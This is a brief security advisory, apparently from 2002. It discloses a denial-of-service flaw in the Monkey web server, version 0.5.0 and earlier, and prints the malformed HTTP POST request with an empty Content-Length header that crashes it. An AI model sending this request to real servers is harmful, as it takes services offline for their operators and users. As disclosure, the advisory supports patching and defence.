[UNIX] Bug in Monkey Webserver Causes DoS (POST)

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Date: 11/07/02 

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  Bug in Monkey Webserver Causes DoS (POST)
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SUMMARY

Monkey is a Web server written in C that works under Linux. This is an
open source project based on the HTTP/1.1 protocol. A security
vulnerability in the product allows remote attackers to cause a denial of
service attack.

DETAILS

Vulnerable systems:
 * Monkey version 0.5.0 and prior

Exploit:
Sending the following:

POST / HTTP/1.1
Host: 127.0.0.1:2001
Content-Length:

Will cause the server to crash.

ADDITIONAL INFORMATION

The information has been provided by <mailto:keziah@uole.com> Daniel.

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